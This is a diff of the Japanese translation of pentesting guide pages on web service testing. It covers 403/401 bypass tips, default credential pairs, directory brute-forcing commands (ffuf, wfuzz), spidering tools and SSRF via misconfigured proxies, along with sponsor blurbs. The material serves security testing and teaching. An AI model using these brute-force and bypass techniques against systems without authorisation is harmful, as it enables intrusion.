* パラメータで境界テストを実施 — _-234_や_0_や_99999999_のような値を提供します(いくつかの例値)。 * パラメータで境界テストを実施する — _-234_や_0_や_99999999_のような値を提供す(いくつかの例値)。
## **プロトコルバージョン** ## **プロトコルバージョン**
@ -105,16 +107,16 @@ HTTP/1.1を使用している場合、**1.0を使用してみてください**
## **その他のバイパス** ## **その他のバイパス**
* ドメインの**IP**または**CNAME**を取得し、**直接連絡してみてください**。 * ドメインの**IP**または**CNAME**を取得し、**直接連絡してみてください**。
* 一般的なGETリクエストを送信して**サーバーにストレスをかけてみてください**[この人がFacebookで成功した](https://medium.com/@amineaboud/story-of-a-weird-vulnerability-i-found-on-facebook-fc0875eb5125))。 * 一般的なGETリクエストを送信して**サーバーに負荷をかけてみてください**[この人がFacebookで成功した](https://medium.com/@amineaboud/story-of-a-weird-vulnerability-i-found-on-facebook-fc0875eb5125))。
* **プロトコルを変更**httpからhttpsへ、またはhttpsからhttpへ。 * **プロトコルを変更する**httpからhttpsへ、またはhttpsからhttpへ。
* [**https://archive.org/web/**](https://archive.org/web/)にアクセスし、過去にそのファイルが**全世界からアクセス可能だったかどうかを確認してください**。 * [**https://archive.org/web/**](https://archive.org/web/)にアクセスし、過去にそのファイルが**全世界からアクセス可能だったかどうかを確認してください**。
## **ブルートフォース** ## **ブルートフォース**
* **パスワードを推測**:以下の一般的な認証情報をテストします。被害者について何か知っていますかそれともCTFチャレンジ名ですか * **パスワードを推測する**:以下の一般的な資格情報をテストします。被害者について何か知っていますかそれともCTFチャレンジ名
* [**ブルートフォース**](../../generic-methodologies-and-resources/brute-force.md#http-brute)**基本、ダイジェスト、NTLM認証を試してください。** * [**ブルートフォース**](../../generic-methodologies-and-resources/brute-force.md#http-brute)**基本、ダイジェスト、NTLM認証を試してください。**
{% code title="一般的な認証情報" %} {% code title="一般的な資格情報" %}
``` ```
admin admin admin admin
admin password admin password
@ -138,7 +140,9 @@ guest guest
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure> <figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
**脆弱性評価とペネトレーションテストのための即時利用可能なセットアップ**。20以上のツールと機能を使用して、どこからでも完全なペンテストを実行できます。私たちはペンテスターを置き換えるのではなく、彼らがより深く掘り下げ、シェルをポップし、楽しむための時間を取り戻すために、カスタムツール、検出および悪用モジュールを開発します。 #### ハッカーの視点であなたのウェブアプリ、ネットワーク、クラウドを評価
**実際のビジネスに影響を与える重大で悪用可能な脆弱性を見つけて報告します。** 20以上のカスタムツールを使用して攻撃面をマッピングし、特権を昇格させるセキュリティ問題を見つけ、自動化されたエクスプロイトを使用して重要な証拠を収集し、あなたの努力を説得力のある報告書に変えます。
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %} {% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}

View file

@ -15,13 +15,15 @@ Learn & practice GCP Hacking: <img src="../../.gitbook/assets/grte.png" alt="" d
</details> </details>
{% endhint %} {% endhint %}
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure> <figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
If you are interested in **hacking career** and hack the unhackable - **we are hiring!** (_流暢なポーランド語の読み書きが必要_). #### ハッカーの視点からあなたのウェブアプリ、ネットワーク、クラウドを見つめる
{% embed url="https://www.stmcyber.com/careers" %} **実際のビジネスに影響を与える重大で悪用可能な脆弱性を見つけて報告します。** 20以上のカスタムツールを使用して攻撃面をマッピングし、特権を昇格させるセキュリティ問題を見つけ、自動化されたエクスプロイトを使用して重要な証拠を収集し、あなたの努力を説得力のある報告書に変えます。
## Basic Info {% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
## 基本情報
ウェブサービスは最も**一般的で広範なサービス**であり、多くの**異なる種類の脆弱性**が存在します。 ウェブサービスは最も**一般的で広範なサービス**であり、多くの**異なる種類の脆弱性**が存在します。
@ -44,20 +46,20 @@ openssl s_client -connect domain.com:443 # GET / HTTP/1.0
## Methodology summary ## Methodology summary
> この方法論では、あなたがドメイン(またはサブドメイン)を攻撃することを前提としています。そのため、発見された各ドメイン、サブドメイン、または範囲内の不明なウェブサーバーを持つIPにこの方法論を適用する必要があります。 > この方法論では、あなたが攻撃するドメイン(またはサブドメイン)を想定します。そのため、発見された各ドメイン、サブドメイン、または範囲内の不明なウェブサーバーを持つIPにこの方法論を適用する必要があります。
* [ ] **ウェブサーバー**使用されている**技術**を**特定**することから始めます。技術を特定できた場合、テストの残りの部分で考慮すべき**トリック**を探します。 * [ ] **ウェブサーバー**によって使用されている**技術**を**特定**することから始めます。技術を特定できた場合、テストの残りの部分で考慮すべき**トリック**を探します。
* [ ] 技術のバージョンに**既知の脆弱性**はありますか? * [ ] 技術のバージョンに**既知の脆弱性**はありますか?
* [ ] **よく知られた技術**を使用していますか?より多くの情報を抽出するための**便利なトリック**はありますか? * [ ] **よく知られた技術**を使用していますか?より多くの情報を抽出するための**便利なトリック**はありますか?
* [ ] 実行するための**専門のスキャナー**はありますか例えば、wpscanなど * [ ] 実行するための**専門のスキャナー**はありますか例えば、wpscan
* [ ] **一般的なスキャナー**を起動します。何かを見つけるか、興味深い情報を見つけるかはわかりません。 * [ ] **一般的なスキャナー**を起動します。何かを見つけるか、興味深い情報を見つけるかはわかりません。
* [ ] **初期チェック**から始めます:**robots**、**sitemap**、**404**エラー、**SSL/TLSスキャン**HTTPSの場合 * [ ] **初期チェック**から始めます:**robots**、**sitemap**、**404**エラー、**SSL/TLSスキャン**HTTPSの場合
* [ ] ウェブページの**スパイダー**を開始します:すべての可能な**ファイル、フォルダー**、および**使用されているパラメータ**を**見つける**時間です。また、**特別な発見**を確認します。 * [ ] ウェブページの**スパイダー**を開始します:すべての可能な**ファイル、フォルダー**、および**使用されているパラメータ**を**見つける**時間です。また、**特別な発見**を確認します。
* [ ] _ブルートフォースやスパイダー中に新しいディレクトリが発見された場合は、必ずスパイダーを実行する必要があります。_ * [ ] _ブルートフォースやスパイダー中に新しいディレクトリが発見された場合は、必ずスパイダーする必要があります。_
* [ ] **ディレクトリブルートフォース**:発見されたすべてのフォルダーをブルートフォースして、新しい**ファイル**や**ディレクトリ**を探します。 * [ ] **ディレクトリブルートフォース**:発見されたすべてのフォルダーをブルートフォースして、新しい**ファイル**や**ディレクトリ**を探します。
* [ ] _ブルートフォースやスパイダー中に新しいディレクトリが発見された場合は、必ずブルートフォースを実行する必要があります。_ * [ ] _ブルートフォースやスパイダー中に新しいディレクトリが発見された場合は、必ずブルートフォースする必要があります。_
* [ ] **バックアップチェック**:一般的なバックアップ拡張子を追加して、**発見されたファイル**の**バックアップ**を見つけられるかテストします。 * [ ] **バックアップチェック**:一般的なバックアップ拡張子を追加して、**発見されたファイル**の**バックアップ**を見つけられるかテストします。
* [ ] **ブルートフォースパラメータ****隠れたパラメータ**を**見つける**ことを試みます。 * [ ] **ブルートフォースパラメータ****隠れたパラメータ**を**見つける**ようにします。
* [ ] **ユーザー入力**を受け入れるすべての可能な**エンドポイント**を**特定**したら、それに関連するすべての種類の**脆弱性**を確認します。 * [ ] **ユーザー入力**を受け入れるすべての可能な**エンドポイント**を**特定**したら、それに関連するすべての種類の**脆弱性**を確認します。
* [ ] [このチェックリストに従ってください](../../pentesting-web/web-vulnerabilities-methodology.md) * [ ] [このチェックリストに従ってください](../../pentesting-web/web-vulnerabilities-methodology.md)
@ -117,19 +119,19 @@ Search **for** [**ウェブアプリケーションの** **バージョンの脆
* [**Wordpress**](wordpress.md) * [**Wordpress**](wordpress.md)
* [**Electron Desktop (XSSからRCEへ)**](electron-desktop-apps/) * [**Electron Desktop (XSSからRCEへ)**](electron-desktop-apps/)
_**同じドメイン**が異なる**ポート**、**フォルダ**、および**サブドメイン**で**異なる技術**を使用している可能性があることに意してください。_\ _**同じドメイン**が異なる**ポート**、**フォルダ**、および**サブドメイン**で**異なる技術**を使用している可能性があることに意してください。_\
ウェブアプリケーションが前述の**技術/プラットフォーム**や**その他の技術**を使用している場合は、**インターネットで新しいトリックを検索する**ことを忘れないでください(そして教えてください!)。 ウェブアプリケーションが前述の**技術/プラットフォーム**や**その他の技術**を使用している場合は、**インターネットで新しいトリックを検索する**ことを忘れないでください(そして教えてください!)。
### ソースコードレビュー ### ソースコードレビュー
アプリケーションの**ソースコード**が**github**で利用可能な場合、アプリケーションの**ホワイトボックステスト**を自分で行うことに加えて、現在の**ブラックボックステスト**に役立つ**情報**がいくつかあります: アプリケーションの**ソースコード**が**github**で利用可能な場合、アプリケーションの**ホワイトボックステスト**を自分で実施することに加えて、現在の**ブラックボックステスト**に役立つ**情報**がいくつかあります:
* **変更履歴やReadmeやバージョン**ファイル、または**バージョン情報にアクセス可能な**ものはありますか? * **変更履歴やReadmeやバージョン**ファイル、または**バージョン情報にアクセス可能な**ものはありますか?
* **認証情報**はどのように、どこに保存されていますか? **認証情報**(ユーザー名やパスワード)が含まれ(アクセス可能な?)**ファイル**はありますか? * **認証情報**はどのように、どこに保存されていますか?認証情報(ユーザー名やパスワード)が含まれ(アクセス可能な?)**ファイル**はありますか?
* **パスワード**は**プレーンテキスト**、**暗号化**されていますか、それともどの**ハッシュアルゴリズム**が使用されていますか? * **パスワード**は**プレーンテキスト**、**暗号化**されていますか、それともどの**ハッシュアルゴリズム**が使用されていますか?
* 何かを暗号化するために**マスターキー**を使用していますか? どの**アルゴリズム**が使用されていますか? * 何かを暗号化するために**マスターキー**を使用していますか?どの**アルゴリズム**が使用されていますか?
* いくつかの脆弱性を利用して**これらのファイルにアクセス**できますか? * 脆弱性を悪用して**これらのファイルにアクセス**できますか?
* **github**に**興味深い情報**(解決済みおよび未解決の)**問題**はありますか? または**コミット履歴**に(古いコミット内に**入力されたパスワード**など * **github**に**興味深い情報**(解決済みおよび未解決の)**問題**はありますか?または**コミット履歴**に(古いコミット内に含まれるかもしれない**パスワード**
{% content-ref url="code-review-tools.md" %} {% content-ref url="code-review-tools.md" %}
[code-review-tools.md](code-review-tools.md) [code-review-tools.md](code-review-tools.md)
@ -151,7 +153,7 @@ node puff.js -w ./wordlist-examples/xss.txt -u "http://www.xssgame.com/f/m4KKGHi
``` ```
#### CMSスキャナー #### CMSスキャナー
CMSが使用されている場合は、**スキャナーを実行する**ことを忘れないでください。もしかしたら何か魅力的なものが見つかるかもしれません: CMSが使用されている場合は、**スキャナーを実行する**ことを忘れないでください。もしかしたら何か面白いものが見つかるかもしれません:
[**Clusterd**](https://github.com/hatRiot/clusterd)**:** [**JBoss**](jboss.md)**, ColdFusion, WebLogic,** [**Tomcat**](tomcat/)**, Railo, Axis2, Glassfish**\ [**Clusterd**](https://github.com/hatRiot/clusterd)**:** [**JBoss**](jboss.md)**, ColdFusion, WebLogic,** [**Tomcat**](tomcat/)**, Railo, Axis2, Glassfish**\
[**CMSScan**](https://github.com/ajinabraham/CMSScan): [**WordPress**](wordpress.md), [**Drupal**](drupal/), **Joomla**, **vBulletin**のセキュリティ問題を検出します。(GUI)\ [**CMSScan**](https://github.com/ajinabraham/CMSScan): [**WordPress**](wordpress.md), [**Drupal**](drupal/), **Joomla**, **vBulletin**のセキュリティ問題を検出します。(GUI)\
@ -199,7 +201,7 @@ joomlavs.rb #https://github.com/rastating/joomlavs
### **SSL/TLSの脆弱性** ### **SSL/TLSの脆弱性**
* アプリケーションがどの部分でも**HTTPSの使用を強制していない**場合、**MitMに対して脆弱**です。 * アプリケーションがどの部分でも**HTTPSの使用を強制していない**場合、**MitM攻撃に対して脆弱**です。
* アプリケーションが**HTTPを使用して機密データパスワードを送信している**場合、これは高い脆弱性です。 * アプリケーションが**HTTPを使用して機密データパスワードを送信している**場合、これは高い脆弱性です。
[**testssl.sh**](https://github.com/drwetter/testssl.sh)を使用して**脆弱性**をチェックし(バグバウンティプログラムではこの種の脆弱性は受け入れられない可能性があります)、[**a2sv**](https://github.com/hahwul/a2sv)を使用して脆弱性を再確認してください: [**testssl.sh**](https://github.com/drwetter/testssl.sh)を使用して**脆弱性**をチェックし(バグバウンティプログラムではこの種の脆弱性は受け入れられない可能性があります)、[**a2sv**](https://github.com/hahwul/a2sv)を使用して脆弱性を再確認してください:
@ -218,13 +220,13 @@ SSL/TLSの脆弱性に関する情報:
### スパイダーリング ### スパイダーリング
ウェブ内で何らかの**スパイダー**を起動します。スパイダーの目的は、テストされたアプリケーションから**できるだけ多くのパスを見つけること**です。したがって、ウェブクローリングと外部ソースを使用して、できるだけ多くの有効なパスを見つける必要があります。 ウェブ内で何らかの**スパイダー**を起動します。スパイダーの目的は、テストされたアプリケーションから**できるだけ多くのパスを見つけること**です。したがって、ウェブクローと外部ソースを使用して、できるだけ多くの有効なパスを見つける必要があります。
* [**gospider**](https://github.com/jaeles-project/gospider) (go): HTMLスパイダー、JSファイル内のLinkFinderおよび外部ソースArchive.org、CommonCrawl.org、VirusTotal.com、AlienVault.com * [**gospider**](https://github.com/jaeles-project/gospider) (go): HTMLスパイダー、JSファイル内のLinkFinderおよび外部ソースArchive.org、CommonCrawl.org、VirusTotal.com、AlienVault.com
* [**hakrawler**](https://github.com/hakluke/hakrawler) (go): HMLスパイダー、JSファイル用のLinkFinderおよび外部ソースとしてArchive.orgを使用。 * [**hakrawler**](https://github.com/hakluke/hakrawler) (go): HMLスパイダー、JSファイル用のLinkFinderおよび外部ソースとしてArchive.orgを使用。
* [**dirhunt**](https://github.com/Nekmo/dirhunt) (python): HTMLスパイダー、「おいしいファイル」も示します。 * [**dirhunt**](https://github.com/Nekmo/dirhunt) (python): HTMLスパイダー、「おいしいファイル」も示します。
* [**evine** ](https://github.com/saeeddhqan/evine)(go): インタラクティブCLI HTMLスパイダー。Archive.org内も検索します。 * [**evine** ](https://github.com/saeeddhqan/evine)(go): インタラクティブCLI HTMLスパイダー。Archive.org内も検索します。
* [**meg**](https://github.com/tomnomnom/meg) (go): このツールはスパイダーではありませんが、有用です。ホストのファイルとパスのファイルを指定するだけで、megは各ホストの各パスを取得し、応答を保存します。 * [**meg**](https://github.com/tomnomnom/meg) (go): このツールはスパイダーではありませんが、役立つことがあります。ホストのファイルとパスのファイルを指定するだけで、megは各ホストの各パスを取得し、応答を保存します。
* [**urlgrab**](https://github.com/IAmStoxe/urlgrab) (go): JSレンダリング機能を持つHTMLスパイダー。ただし、メンテナンスされていないようで、事前コンパイルされたバージョンは古く、現在のコードはコンパイルされません。 * [**urlgrab**](https://github.com/IAmStoxe/urlgrab) (go): JSレンダリング機能を持つHTMLスパイダー。ただし、メンテナンスされていないようで、事前コンパイルされたバージョンは古く、現在のコードはコンパイルされません。
* [**gau**](https://github.com/lc/gau) (go): 外部プロバイダーwayback、otx、commoncrawlを使用するHTMLスパイダー。 * [**gau**](https://github.com/lc/gau) (go): 外部プロバイダーwayback、otx、commoncrawlを使用するHTMLスパイダー。
* [**ParamSpider**](https://github.com/devanshbatham/ParamSpider): このスクリプトはパラメータを持つURLを見つけてリストします。 * [**ParamSpider**](https://github.com/devanshbatham/ParamSpider): このスクリプトはパラメータを持つURLを見つけてリストします。
@ -232,10 +234,10 @@ SSL/TLSの脆弱性に関する情報:
* [**LinkFinder**](https://github.com/GerbenJavado/LinkFinder) (python): HTMLスパイダー、JSファイル内の新しいパスを検索できるJSビューティファイ機能を持っています。LinkFinderのラッパーである[JSScanner](https://github.com/dark-warlord14/JSScanner)も見る価値があります。 * [**LinkFinder**](https://github.com/GerbenJavado/LinkFinder) (python): HTMLスパイダー、JSファイル内の新しいパスを検索できるJSビューティファイ機能を持っています。LinkFinderのラッパーである[JSScanner](https://github.com/dark-warlord14/JSScanner)も見る価値があります。
* [**goLinkFinder**](https://github.com/0xsha/GoLinkFinder) (go): HTMLソースと埋め込まれたJavaScriptファイルの両方からエンドポイントを抽出します。バグハンター、レッドチーム、インフォセキュリティの忍者に役立ちます。 * [**goLinkFinder**](https://github.com/0xsha/GoLinkFinder) (go): HTMLソースと埋め込まれたJavaScriptファイルの両方からエンドポイントを抽出します。バグハンター、レッドチーム、インフォセキュリティの忍者に役立ちます。
* [**JSParser**](https://github.com/nahamsec/JSParser) (python2.7): TornadoとJSBeautifierを使用してJavaScriptファイルから相対URLを解析するPython 2.7スクリプト。AJAXリクエストを簡単に発見するのに役立ちます。メンテナンスされていないようです。 * [**JSParser**](https://github.com/nahamsec/JSParser) (python2.7): TornadoとJSBeautifierを使用してJavaScriptファイルから相対URLを解析するPython 2.7スクリプト。AJAXリクエストを簡単に発見するのに役立ちます。メンテナンスされていないようです。
* [**relative-url-extractor**](https://github.com/jobertabma/relative-url-extractor) (ruby): ファイルHTMLを与えると、巧妙な正規表現を使用して、醜い(ミニファイされた)ファイルから相対URLを見つけて抽出します。 * [**relative-url-extractor**](https://github.com/jobertabma/relative-url-extractor) (ruby): ファイルHTMLを与えると、巧妙な正規表現を使用して相対URLを見つけて抽出します。
* [**JSFScan**](https://github.com/KathanP19/JSFScan.sh) (bash、いくつかのツール): いくつかのツールを使用してJSファイルから興味深い情報を収集します。 * [**JSFScan**](https://github.com/KathanP19/JSFScan.sh) (bash、いくつかのツール): いくつかのツールを使用してJSファイルから興味深い情報を収集します。
* [**subjs**](https://github.com/lc/subjs) (go): JSファイルを見つけます。 * [**subjs**](https://github.com/lc/subjs) (go): JSファイルを見つけます。
* [**page-fetch**](https://github.com/detectify/page-fetch) (go): ヘッドレスブラウザでページを読み込み、ページを読み込むためにロードされたすべてのURLを出力します。 * [**page-fetch**](https://github.com/detectify/page-fetch) (go): ヘッドレスブラウザでページを読み込み、ページを読み込むためにロードされたすべてのURLを印刷します。
* [**Feroxbuster**](https://github.com/epi052/feroxbuster) (rust): いくつかの前述のツールのオプションを組み合わせたコンテンツ発見ツール。 * [**Feroxbuster**](https://github.com/epi052/feroxbuster) (rust): いくつかの前述のツールのオプションを組み合わせたコンテンツ発見ツール。
* [**Javascript Parsing**](https://github.com/xnl-h4ck3r/burp-extensions): JSファイル内のパスとパラメータを見つけるためのBurp拡張機能。 * [**Javascript Parsing**](https://github.com/xnl-h4ck3r/burp-extensions): JSファイル内のパスとパラメータを見つけるためのBurp拡張機能。
* [**Sourcemapper**](https://github.com/denandz/sourcemapper): .js.map URLを与えると、ビューティファイドJSコードを取得するツール。 * [**Sourcemapper**](https://github.com/denandz/sourcemapper): .js.map URLを与えると、ビューティファイドJSコードを取得するツール。
@ -250,13 +252,13 @@ SSL/TLSの脆弱性に関する情報:
### ディレクトリとファイルのブルートフォース ### ディレクトリとファイルのブルートフォース
ルートフォルダから**ブルートフォース**を開始し、**この方法**で見つかった**すべてのディレクトリ**と**スパイダーリング**によって**発見された**すべてのディレクトリをブルートフォースすることを確認してください(このブルートフォースを**再帰的に**行い、使用するワードリストの先頭に見つかったディレクトリの名前を追加できます)。\ ルートフォルダから**ブルートフォース**を開始し、**この方法**で見つかった**すべてのディレクトリ**と**スパイダーリング**によって**発見された**すべてのディレクトリをブルートフォースすることを確認してください(このブルートフォースを**再帰的に**行い、使用するワードリストの先頭に見つかったディレクトリの名前を追加できます)。\
ツール: ツール:
* **Dirb** / **Dirbuster** - Kaliに含まれており、**古い**(および**遅い**)ですが機能します。自己署名証明書と再帰検索を許可します。他のオプションと比較して遅すぎます。 * **Dirb** / **Dirbuster** - Kaliに含まれており、**古い**(および**遅い**)ですが機能します。自己署名証明書と再帰検索を許可します。他のオプションと比較して遅すぎます。
* [**Dirsearch**](https://github.com/maurosoria/dirsearch) (python)**: 自己署名証明書は許可されていませんが**、再帰検索を許可します。 * [**Dirsearch**](https://github.com/maurosoria/dirsearch) (python)**: 自己署名証明書を許可しませんが**、再帰検索を許可します。
* [**Gobuster**](https://github.com/OJ/gobuster) (go): 自己署名証明書を許可し、**再帰的**検索はありません。 * [**Gobuster**](https://github.com/OJ/gobuster) (go): 自己署名証明書を許可し、**再帰的**検索はありません。
* [**Feroxbuster**](https://github.com/epi052/feroxbuster) **- 高速、再帰検索をサポートします。** * [**Feroxbuster**](https://github.com/epi052/feroxbuster) **- 高速、再帰検索をサポートします。**
* [**wfuzz**](https://github.com/xmendez/wfuzz) `wfuzz -w /usr/share/seclists/Discovery/Web-Content/raft-medium-directories.txt https://domain.com/api/FUZZ` * [**wfuzz**](https://github.com/xmendez/wfuzz) `wfuzz -w /usr/share/seclists/Discovery/Web-Content/raft-medium-directories.txt https://domain.com/api/FUZZ`
* [**ffuf** ](https://github.com/ffuf/ffuf)- 高速: `ffuf -c -w /usr/share/wordlists/dirb/big.txt -u http://10.10.10.10/FUZZ` * [**ffuf** ](https://github.com/ffuf/ffuf)- 高速: `ffuf -c -w /usr/share/wordlists/dirb/big.txt -u http://10.10.10.10/FUZZ`
* [**uro**](https://github.com/s0md3v/uro) (python): これはスパイダーではありませんが、見つかったURLのリストを与えると「重複」URLを削除します。 * [**uro**](https://github.com/s0md3v/uro) (python): これはスパイダーではありませんが、見つかったURLのリストを与えると「重複」URLを削除します。
@ -294,30 +296,30 @@ _ブルートフォースやスパイダーリング中に新しいディレク
* _Param-miner “params” :_ [https://github.com/PortSwigger/param-miner/blob/master/resources/params](https://github.com/PortSwigger/param-miner/blob/master/resources/params) * _Param-miner “params” :_ [https://github.com/PortSwigger/param-miner/blob/master/resources/params](https://github.com/PortSwigger/param-miner/blob/master/resources/params)
* _Assetnote “parameters\_top\_1m”:_ [https://wordlists.assetnote.io/](https://wordlists.assetnote.io) * _Assetnote “parameters\_top\_1m”:_ [https://wordlists.assetnote.io/](https://wordlists.assetnote.io)
* _nullenc0de “params.txt”:_ [https://gist.github.com/nullenc0de/9cb36260207924f8e1787279a05eb773](https://gist.github.com/nullenc0de/9cb36260207924f8e1787279a05eb773) * _nullenc0de “params.txt”:_ [https://gist.github.com/nullenc0de/9cb36260207924f8e1787279a05eb773](https://gist.github.com/nullenc0de/9cb36260207924f8e1787279a05eb773)
* **コメント:** すべてのファイルのコメントを確認してください。**資格情報**や**隠れた機能**を見つけることができます。 * **コメント:** すべてのファイルのコメントを確認してください。**資格情報**や**隠れた機能**が見つかることがあります。
* **CTF**をプレイしている場合、「一般的な」トリックは、ページの**右側**のコメント内に**情報**を**隠す**ことです(**数百**の**スペース**を使用して、ブラウザでソースコードを開いてもデータが見えないようにします)。の可能性は、**いくつかの新しい行**を使用し、ウェブページの**下部**のコメントに情報**隠す**ことです。 * **CTF**をプレイしている場合、「一般的な」トリックは、ページの**右側**のコメント内に**情報**を**隠す**ことです(**数百**の**スペース**を使用して、ブラウザでソースコードを開いてもデータが見えないようにします)。もう一つの可能性は、**いくつかの新しい行**を使用し、ウェブページの**下部**のコメントに**情報**隠すことです。
* **APIキー**: **APIキー**を見つけた場合、さまざまなプラットフォームのAPIキーの使用方法を示すガイドがあります: [**keyhacks**](https://github.com/streaak/keyhacks)**、** [**zile**](https://github.com/xyele/zile.git)**、** [**truffleHog**](https://github.com/trufflesecurity/truffleHog)**、** [**SecretFinder**](https://github.com/m4ll0k/SecretFinder)**、** [**RegHex**](https://github.com/l4yton/RegHex\)/)**、** [**DumpsterDive**](https://github.com/securing/DumpsterDiver)**、** [**EarlyBird**](https://github.com/americanexpress/earlybird) * **APIキー**: **APIキー**を見つけた場合、さまざまなプラットフォームのAPIキーの使用方法を示すガイドがあります: [**keyhacks**](https://github.com/streaak/keyhacks)**、** [**zile**](https://github.com/xyele/zile.git)**、** [**truffleHog**](https://github.com/trufflesecurity/truffleHog)**、** [**SecretFinder**](https://github.com/m4ll0k/SecretFinder)**、** [**RegHex**](https://github.com/l4yton/RegHex\)/)**、** [**DumpsterDive**](https://github.com/securing/DumpsterDiver)**、** [**EarlyBird**](https://github.com/americanexpress/earlybird)
* Google APIキー: **AIza**SyA-qLheq6xjDiEIRisP\_ujUseYLQCHUjikのようなAPIキーを見つけた場合、プロジェクト[**gmapapiscanner**](https://github.com/ozguralp/gmapsapiscanner)を使用して、キーがアクセスできるAPIを確認できます。 * Google APIキー: **AIza**SyA-qLheq6xjDiEIRisP\_ujUseYLQCHUjikのようなAPIキーを見つけた場合、プロジェクト[**gmapapiscanner**](https://github.com/ozguralp/gmapsapiscanner)を使用して、キーがアクセスできるAPIを確認できます。
* **S3バケット**: スパイダーリング中に、**サブドメイン**または**リンク**が**S3バケット**に関連しているかどうかを確認してください。その場合、[**バケットの**権限を**確認**してください](buckets/)。 * **S3バケット**: スパイダーリング中に、**サブドメイン****リンク**が**S3バケット**に関連しているかどうかを確認してください。その場合、[**バケットの**権限を**確認**してください](buckets/)。
### 特別な発見 ### 特別な発見
**スパイダーリング**と**ブルートフォース**を実行している間に、**興味深い****もの**を**見つける**ことがあります。 **スパイダーリング**や**ブルートフォース**を実行しているときに、**興味深い****もの**を**見つける**ことがあります。
**興味深いファイル** **興味深いファイル**
* **CSS**ファイル内の他のファイルへの**リンク**を探します。 * **CSS**ファイル内の他のファイルへの**リンク**を探します。
* [**.git**ファイルを見つけた場合、いくつかの情報を抽出できます](git.md) * [**.git**ファイルを見つけた場合、いくつかの情報を抽出できます](git.md)
* **.env**を見つけた場合、APIキー、DBパスワードなどの情報が見つかる可能性があります。 * **.env**を見つけた場合、APIキー、DBパスワードなどの情報が見つかることがあります。
* **APIエンドポイント**を見つけた場合、[それらもテストする必要があります](web-api-pentesting.md)。これらはファイルではありませんが、おそらく「ファイルのように見える」でしょう。 * **APIエンドポイント**を見つけた場合、[それらもテストするべきです](web-api-pentesting.md)。これらはファイルではありませんが、おそらく「ファイルのように見える」でしょう。
* **JSファイル**: スパイダーリングセクションでは、JSファイルからパスを抽出できるいくつかのツールが言及されました。また、見つかった各JSファイルを**監視する**ことも興味深いでしょう。なぜなら、場合によっては、変更がコードに潜在的な脆弱性が導入されたことを示す可能性があるからです。たとえば、[**JSMon**](https://github.com/robre/jsmon)**を使用できます。** * **JSファイル**: スパイダーリングセクションでは、JSファイルからパスを抽出できるいくつかのツールが言及されました。また、見つかった各JSファイルを**監視する**ことも興味深いでしょう。なぜなら、変更があった場合、潜在的な脆弱性がコードに導入されたことを示す可能性があるからです。たとえば、[**JSMon**](https://github.com/robre/jsmon)**を使用できます。**
* 発見されたJSファイルを[**RetireJS**](https://github.com/retirejs/retire.js/)または[**JSHole**](https://github.com/callforpapers-source/jshole)で確認して、脆弱性があるかどうかを確認する必要があります。 * 発見されたJSファイルを[**RetireJS**](https://github.com/retirejs/retire.js/)[**JSHole**](https://github.com/callforpapers-source/jshole)で確認して、脆弱性があるかどうかを調べるべきです。
* **Javascript Deobfuscator and Unpacker:** [https://lelinhtinh.github.io/de4js/](https://lelinhtinh.github.io/de4js/)、[https://www.dcode.fr/javascript-unobfuscator](https://www.dcode.fr/javascript-unobfuscator) * **Javascript Deobfuscator and Unpacker:** [https://lelinhtinh.github.io/de4js/](https://lelinhtinh.github.io/de4js/)、[https://www.dcode.fr/javascript-unobfuscator](https://www.dcode.fr/javascript-unobfuscator)
* **Javascript Beautifier:** [http://jsbeautifier.org/](https://beautifier.io)、[http://jsnice.org/](http://jsnice.org) * **Javascript Beautifier:** [http://jsbeautifier.org/](https://beautifier.io)、[http://jsnice.org/](http://jsnice.org)
* **JsFuckのデオブフスケーション**文字でのjavascript:"\[]!+" [https://ooze.ninja/javascript/poisonjs/](https://ooze.ninja/javascript/poisonjs/)) * **JsFuckのデオブフスケーション** (文字でのjavascript:"\[]!+" [https://ooze.ninja/javascript/poisonjs/](https://ooze.ninja/javascript/poisonjs/))
* [**TrainFuck**](https://github.com/taco-c/trainfuck)**:** `+72.+29.+7..+3.-67.-12.+55.+24.+3.-6.-8.-67.-23.` * [**TrainFuck**](https://github.com/taco-c/trainfuck)**:** `+72.+29.+7..+3.-67.-12.+55.+24.+3.-6.-8.-67.-23.`
* いくつかの場面で、使用されている正規表現を**理解する**必要があります。これは役立ちます: [https://regex101.com/](https://regex101.com) * いくつかの場面で、使用されている正規表現を**理解する**必要があります。これは役立ちます: [https://regex101.com/](https://regex101.com)
* フォームが検出されたファイルを**監視する**こともできます。パラメータの変更や新しいフォームの出現は、潜在的な新しい脆弱な機能を示す可能性があります。 * **フォームが検出されたファイルを監視する**こともできます。パラメータの変更や新しいフォームの出現は、潜在的な新しい脆弱な機能を示す可能性があります。
**403 Forbidden/Basic Authentication/401 Unauthorized (バイパス)** **403 Forbidden/Basic Authentication/401 Unauthorized (バイパス)**
@ -327,12 +329,12 @@ _ブルートフォースやスパイダーリング中に新しいディレク
**502 Proxy Error** **502 Proxy Error**
ページが**そのコード**で**応答**する場合、**不適切に構成されたプロキシ**の可能性があります。**`GET https://google.com HTTP/1.1`**のようなHTTPリクエストを送信するとホストヘッダーや他の一般的なヘッダーを含む、**プロキシ**は**_google.com_**に**アクセス**しようとし、**SSRF**を見つけることになります。 ページが**そのコード**で**応答**する場合、それはおそらく**不適切に構成されたプロキシ**です。**`GET https://google.com HTTP/1.1`**のようなHTTPリクエストを送信するとホストヘッダーや他の一般的なヘッダーを含む、**プロキシ**は**_google.com_**に**アクセス**しようとし、**SSRF**を見つけることになります。
**NTLM認証 - 情報漏洩** **NTLM認証 - 情報漏洩**
認証を要求しているサーバーが**Windows**であるか、**資格情報**を要求するログインを見つけた場合(**ドメイン名**を要求する場合)、**情報漏洩**を引き起こすことができます。\ 認証を要求しているサーバーが**Windows**であるか、**資格情報**を要求するログインを見つけた場合(**ドメイン名**を要求する場合)、**情報漏洩**を引き起こすことができます。\
